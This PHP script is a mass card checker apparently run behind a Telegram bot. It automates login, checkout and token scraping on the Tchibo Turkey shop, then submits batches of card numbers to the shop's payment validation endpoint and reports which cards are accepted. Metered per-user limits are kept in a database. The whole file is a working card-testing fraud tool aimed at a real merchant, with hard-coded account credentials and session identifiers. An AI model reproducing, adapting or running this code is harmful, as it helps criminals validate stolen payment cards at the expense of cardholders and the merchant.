<?php
// Tchibo Mass Checker with Database Integration

class TchiboChecker {
    private $cookies = [];
    
    public function getCookies() {
        return $this->cookies;
    }
    
    private function setCookies($ch) {
        if (!empty($this->cookies)) {
            $cookieString = [];
            foreach ($this->cookies as $name => $value) {
                $cookieString[] = "{$name}={$value}";
            }
            curl_setopt($ch, CURLOPT_COOKIE, implode('; ', $cookieString));
        }
    }
    
    private function extractCookies($response) {
        if (preg_match_all('/^Set-Cookie:\s*([^;]+)/mi', $response, $matches)) {
            foreach ($matches[1] as $cookie) {
                $parts = explode('=', $cookie, 2);
                if (count($parts) == 2) {
                    $this->cookies[trim($parts[0])] = trim($parts[1]);
                }
            }
        }
    }
    
    public function getInitialCookies() {
        $url = "https://www.tchibo.com.tr/usermenu";
        
        $headers = [
            "accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8",
            "accept-language: tr-TR,tr;q=0.9",
            "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36"
        ];
        
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_HEADER, true);
        curl_setopt($ch, CURLOPT_TIMEOUT, 10);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
        
        $response = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);
        
        if ($httpCode == 200 && $response) {
            $this->extractCookies($response);
            return true;
        }
        
        return false;
    }
    
    public function login() {
        $url = "https://www.tchibo.com.tr/service/login/api/v1/login";
        
        $headers = [
            "accept: */*",
            "content-type: application/json",
            "origin: https://www.tchibo.com.tr",
            "referer: https://www.tchibo.com.tr/usermenu",
            "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36",
            "x-hunter-csrf: x"
        ];
        
        $payload = [
            "email" => "mosquito43833@aminating.com",
            "password" => "mosquito43833@aminating.com",
            "site" => "TR"
        ];
        
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($payload));
        curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_HEADER, true);
        curl_setopt($ch, CURLOPT_TIMEOUT, 10);
        $this->setCookies($ch);
        
        $response = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);
        
        if ($httpCode == 200 && $response) {
            $this->extractCookies($response);
            return true;
        }
        
        return false;
    }
    
    public function getCheckoutCookies() {
        $url = "https://www.tchibo.com.tr/service/checkoutfrontend/checkout";
        
        $headers = [
            "accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8",
            "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36"
        ];
        
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_HEADER, true);
        curl_setopt($ch, CURLOPT_TIMEOUT, 10);
        $this->setCookies($ch);
        
        $response = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);
        
        if ($httpCode == 200 && $response) {
            $this->extractCookies($response);
            return true;
        }
        
        return false;
    }
    
    public function sendOrder() {
        $url = "https://www.tchibo.com.tr/service/checkout/api/order";
        
        $headers = [
            "accept: application/json",
            "content-type: application/json",
            "origin: https://www.tchibo.com.tr",
            "referer: https://www.tchibo.com.tr/service/checkoutfrontend/checkout",
            "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36",
            "x-app-platform: BROWSER",
            "x-hunter-site: TR",
            "x-hunter-csrf: x"
        ];
        
        $payload = [
            "checkoutState" => [
                "consents" => [
                    "cmc" => true,
                    "tac" => true,
                    "dataPrivacyTurkey" => true
                ],
                "isPaypalExpress" => false,
                "exportIbanOnOrderSubmit" => false
            ],
            "cartIdentifier" => "KMjPw+CH4PBO5/bZ8jiNeQ==",
            "customerIdentifier" => "FCtsG1v76TefjELxifsNCQ==",
            "cmcAccepted" => false,
            "productRatingConsentAccepted" => true,
            "isPaypalBillingAgreementOptInChecked" => false
        ];
        
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "PUT");
        curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($payload));
        curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_HEADER, true);
        curl_setopt($ch, CURLOPT_TIMEOUT, 15);
        $this->setCookies($ch);
        
        $response = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        $headerSize = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
        $body = substr($response, $headerSize);
        curl_close($ch);
        
        if ($response) {
            $this->extractCookies($response);
        }
        
        $responseData = json_decode($body, true);
        
        // Handle 206 - Data changed (CUSTOMER_DATA_HAS_CHANGED or CART_DATA_HAS_CHANGED)
        if ($httpCode == 206 && isset($responseData['checkoutData'])) {
            $checkoutData = $responseData['checkoutData'];
            if ($checkoutData) {
                $ch = curl_init();
                curl_setopt($ch, CURLOPT_URL, $url);
                curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "PUT");
                curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($checkoutData));
                curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
                curl_setopt($ch, CURLOPT_HEADER, true);
                curl_setopt($ch, CURLOPT_TIMEOUT, 15);
                $this->setCookies($ch);
                
                $response = curl_exec($ch);
                $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
                $headerSize = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
                $body = substr($response, $headerSize);
                curl_close($ch);
                
                if ($response) {
                    $this->extractCookies($response);
                }
                
                $responseData = json_decode($body, true);
            }
        }
        
        $redirectUrl = $responseData['url'] ?? null;
        if ($redirectUrl) {
            if (strpos($redirectUrl, 'http') !== 0) {
                $redirectUrl = "https://www.tchibo.com.tr" . $redirectUrl;
            }
            return $redirectUrl;
        }
        
        return null;
    }
    
    public function followRedirect($redirectUrl) {
        $headers = [
            "accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8",
            "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36"
        ];
        
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $redirectUrl);
        curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_HEADER, true);
        curl_setopt($ch, CURLOPT_TIMEOUT, 10);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        curl_setopt($ch, CURLOPT_MAXREDIRS, 10);
        $this->setCookies($ch);
        
        $response = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        $headerSize = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
        $body = substr($response, $headerSize);
        curl_close($ch);
        
        if ($response) {
            $this->extractCookies($response);
        }
        
        $csrfToken = $this->cookies['PaymentXCSRF'] ?? null;
        
        $ctrlPatterns = [
            '/name=["\']ctrlKey["\'][^>]*value=["\']([^"\']+)["\']/',
            '/value=["\']([^"\']+)["\'][^>]*name=["\']ctrlKey["\']/',
            '/ctrlKey["\']?\s*:\s*["\']([^"\']+)/',
            '/"ctrlKey":\s*"([^"]+)"/',
        ];
        
        $ctrlKey = null;
        foreach ($ctrlPatterns as $pattern) {
            if (preg_match($pattern, $body, $matches)) {
                $ctrlKey = trim($matches[1]);
                break;
            }
        }
        
        if ($httpCode == 200 && $csrfToken && $ctrlKey) {
            return [$csrfToken, $ctrlKey];
        }
        
        return [null, null];
    }
    
    public function validateCard($csrfToken, $ctrlKey, $cardNumber, $cardMonth, $cardYear) {
        $timestamp = round(microtime(true) * 1000);
        $random = mt_rand() / mt_getrandmax();
        
        $url = "https://psp.tchibo.com.tr/VPayment/AjaxCall?r={$random}&t={$timestamp}";
        
        $headers = [
            "accept: application/json, text/javascript, */*; q=0.01",
            "content-type: application/x-www-form-urlencoded; charset=UTF-8",
            "origin: https://psp.tchibo.com.tr",
            "referer: https://psp.tchibo.com.tr/",
            "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36",
            "x-requested-with: XMLHttpRequest"
        ];
        
        $payload = [
            "Shopizz_Ajax_Action_Public" => "pg_validateinteroperablecardsave",
            "ctrlKey" => $ctrlKey,
            "vics_cardnum" => $cardNumber,
            "vics_cardmonth" => $cardMonth,
            "vics_cardyear" => $cardYear,
            "vics_cardname" => "adssasd adas",
            "PaymentXCSRF" => $csrfToken
        ];
        
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
        curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_TIMEOUT, 10);
        $this->setCookies($ch);
        
        $response = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);
        
        if ($httpCode == 200 && $response) {
            $responseJson = json_decode($response, true);
            
            if (is_string($responseJson)) {
                $responseJson = json_decode($responseJson, true);
            }
            
            if (isset($responseJson['actionResult']) && $responseJson['actionResult'] === true) {
                return "SUCCESS";
            }
            elseif (isset($responseJson['successMsg']) && !empty($responseJson['successMsg'])) {
                return "SUCCESS";
            }
            elseif (isset($responseJson['errorMsg']) && !empty($responseJson['errorMsg'])) {
                return $responseJson['errorMsg'];
            }
            elseif (isset($responseJson['actionResult']) && $responseJson['actionResult'] === false) {
                return isset($responseJson['errorCode']) ? $responseJson['errorCode'] : "FAILED";
            }
            else {
                return json_encode($responseJson);
            }
        }
        
        return "HTTP Error: {$httpCode}";
    }
}

// Database functions
function getDbConnection() {
    try {
        $pdo = new PDO("mysql:host=localhost;dbname=checkerbotdb3", "root", "");
        $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
        return $pdo;
    } catch (PDOException $e) {
        return null;
    }
}

function getCurrentLimit($chatid) {
    $pdo = getDbConnection();
    if (!$pdo) return 0;
    
    $stmt = $pdo->prepare("SELECT auth2limit FROM users WHERE chatid = ?");
    $stmt->execute([$chatid]);
    $result = $stmt->fetch(PDO::FETCH_ASSOC);
    
    return $result ? (int)$result['auth2limit'] : 0;
}

function decrementLimit($chatid) {
    $pdo = getDbConnection();
    if (!$pdo) return false;
    
    $stmt = $pdo->prepare("UPDATE users SET auth2limit = auth2limit - 1 WHERE chatid = ? AND auth2limit > 0");
    $stmt->execute([$chatid]);
    
    return $stmt->rowCount() > 0;
}

// Main execution
if (!isset($_GET['cards']) || !isset($_GET['chatid'])) {
    echo "ERROR: Missing parameters\n";
    echo "Usage: ?cards=CARD1|MM|YY|CVV,CARD2|MM|YY|CVV&chatid=CHATID\n";
    exit;
}

$cardsParam = $_GET['cards'];
$chatid = $_GET['chatid'];

$cardList = explode(',', $cardsParam);

if (empty($cardList)) {
    echo "ERROR: No cards provided\n";
    exit;
}

// Check limits
$currentLimit = getCurrentLimit($chatid);
$requiredLimit = count($cardList);

if ($currentLimit < $requiredLimit) {
    echo "ERROR: Insufficient limits\n";
    echo "Required: {$requiredLimit}, Available: {$currentLimit}\n";
    exit;
}

echo "𝐀𝐔𝐓𝐇𝟐 𝐌𝐀𝐒𝐒 𝐑𝐄𝐒𝐔𝐋𝐓\n\n";
flush();
if (ob_get_level() > 0) ob_flush();

$checker = new TchiboChecker();

foreach ($cardList as $cardParam) {
    $cardParts = explode('|', trim($cardParam));
    
    if (count($cardParts) != 4) {
        echo trim($cardParam) . " | ❌ Invalid Format\n<br>";
        flush();
        if (ob_get_level() > 0) ob_flush();
        continue;
    }
    
    $cardNumber = trim($cardParts[0]);
    $cardMonth = trim($cardParts[1]);
    $cardYear = trim($cardParts[2]);
    $cardCvv = trim($cardParts[3]);
    
    // 1. Kart numarası kontrolü: Tam 16 hane olmalı
    if (!preg_match('/^\d{16}$/', $cardNumber)) {
        echo "{$cardNumber}|{$cardMonth}|{$cardYear}|{$cardCvv} | ❌ Card must be 16 digits\n<br>";
        flush();
        if (ob_get_level() > 0) ob_flush();
        continue;
    }
    
    // 2. Ay kontrolü: 01-12 arası olmalı
    if (!preg_match('/^(0[1-9]|1[0-2])$/', $cardMonth)) {
        echo "{$cardNumber}|{$cardMonth}|{$cardYear}|{$cardCvv} | ❌ Month must be 01-12\n<br>";
        flush();
        if (ob_get_level() > 0) ob_flush();
        continue;
    }
    
    // 3. Yıl kontrolü: 2 veya 4 hane
    if (strlen($cardYear) == 2) {
        if (!preg_match('/^\d{2}$/', $cardYear)) {
            echo "{$cardNumber}|{$cardMonth}|{$cardYear}|{$cardCvv} | ❌ Invalid year\n<br>";
            flush();
            if (ob_get_level() > 0) ob_flush();
            continue;
        }
        $cardYear = "20" . $cardYear;
    } elseif (strlen($cardYear) == 4) {
        if (!preg_match('/^20\d{2}$/', $cardYear)) {
            echo "{$cardNumber}|{$cardMonth}|{$cardYear}|{$cardCvv} | ❌ Year must start with 20\n<br>";
            flush();
            if (ob_get_level() > 0) ob_flush();
            continue;
        }
    } else {
        echo "{$cardNumber}|{$cardMonth}|{$cardYear}|{$cardCvv} | ❌ Invalid year format\n<br>";
        flush();
        if (ob_get_level() > 0) ob_flush();
        continue;
    }
    
    // 4. CVV kontrolü: Tam 3 hane olmalı ve 000 olamaz
    if (!preg_match('/^\d{3}$/', $cardCvv)) {
        echo "{$cardNumber}|{$cardMonth}|{$cardYear}|{$cardCvv} | ❌ CVV must be 3 digits\n<br>";
        flush();
        if (ob_get_level() > 0) ob_flush();
        continue;
    }
    
    if ($cardCvv === '000') {
        echo "{$cardNumber}|{$cardMonth}|{$cardYear}|{$cardCvv} | ❌ GEN YASAK\n<br>";
        flush();
        if (ob_get_level() > 0) ob_flush();
        continue;
    }
    
    $startTime = microtime(true);
    
    // Decrement limit before checking
    if (!decrementLimit($chatid)) {
        echo "{$cardNumber}|{$cardMonth}|{$cardYear}|{$cardCvv} | ❌ Limit Error\n<br>";
        flush();
        if (ob_get_level() > 0) ob_flush();
        continue;
    }
    
    if (!$checker->getInitialCookies()) {
        $elapsed = round(microtime(true) - $startTime, 2);
        echo "{$cardNumber}|{$cardMonth}|{$cardYear}|{$cardCvv} | ❌ Kart Eklenemedi ({$elapsed}s)\n<br>";
        flush();
        if (ob_get_level() > 0) ob_flush();
        continue;
    }
    
    if (!$checker->login()) {
        $elapsed = round(microtime(true) - $startTime, 2);
        echo "{$cardNumber}|{$cardMonth}|{$cardYear}|{$cardCvv} | ❌ Kart Eklenemedi ({$elapsed}s)\n<br>";
        flush();
        if (ob_get_level() > 0) ob_flush();
        continue;
    }
    
    if (!$checker->getCheckoutCookies()) {
        $elapsed = round(microtime(true) - $startTime, 2);
        echo "{$cardNumber}|{$cardMonth}|{$cardYear}|{$cardCvv} | ❌ Kart Eklenemedi ({$elapsed}s)\n<br>";
        flush();
        if (ob_get_level() > 0) ob_flush();
        continue;
    }
    
    $redirectUrl = $checker->sendOrder();
    if (!$redirectUrl) {
        $elapsed = round(microtime(true) - $startTime, 2);
        echo "{$cardNumber}|{$cardMonth}|{$cardYear}|{$cardCvv} | ❌ Kart Eklenemedi ({$elapsed}s)\n<br>";
        flush();
        if (ob_get_level() > 0) ob_flush();
        continue;
    }
    
    list($csrfToken, $ctrlKey) = $checker->followRedirect($redirectUrl);
    if (!$csrfToken || !$ctrlKey) {
        $elapsed = round(microtime(true) - $startTime, 2);
        echo "{$cardNumber}|{$cardMonth}|{$cardYear}|{$cardCvv} | ❌ Kart Eklenemedi ({$elapsed}s)\n<br>";
        flush();
        if (ob_get_level() > 0) ob_flush();
        continue;
    }
    
    $result = $checker->validateCard($csrfToken, $ctrlKey, $cardNumber, $cardMonth, $cardYear);
    $elapsed = round(microtime(true) - $startTime, 2);
    
    if ($result === "SUCCESS") {
        echo "{$cardNumber}|{$cardMonth}|{$cardYear}|{$cardCvv} | ✅ KART EKLENDİ ({$elapsed}s)\n<br>";
    } else {
        echo "{$cardNumber}|{$cardMonth}|{$cardYear}|{$cardCvv} | ❌ Kart Eklenemedi ({$elapsed}s)\n<br>";
    }
    
    flush();
    if (ob_get_level() > 0) ob_flush();
}

$remainingLimit = getCurrentLimit($chatid);

echo "\n<br>";
echo "𝐋𝐢𝐦𝐢𝐭:{$remainingLimit}\n<br>";
echo "𝐀𝐔𝐓𝐇𝟐 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot\n";

?>
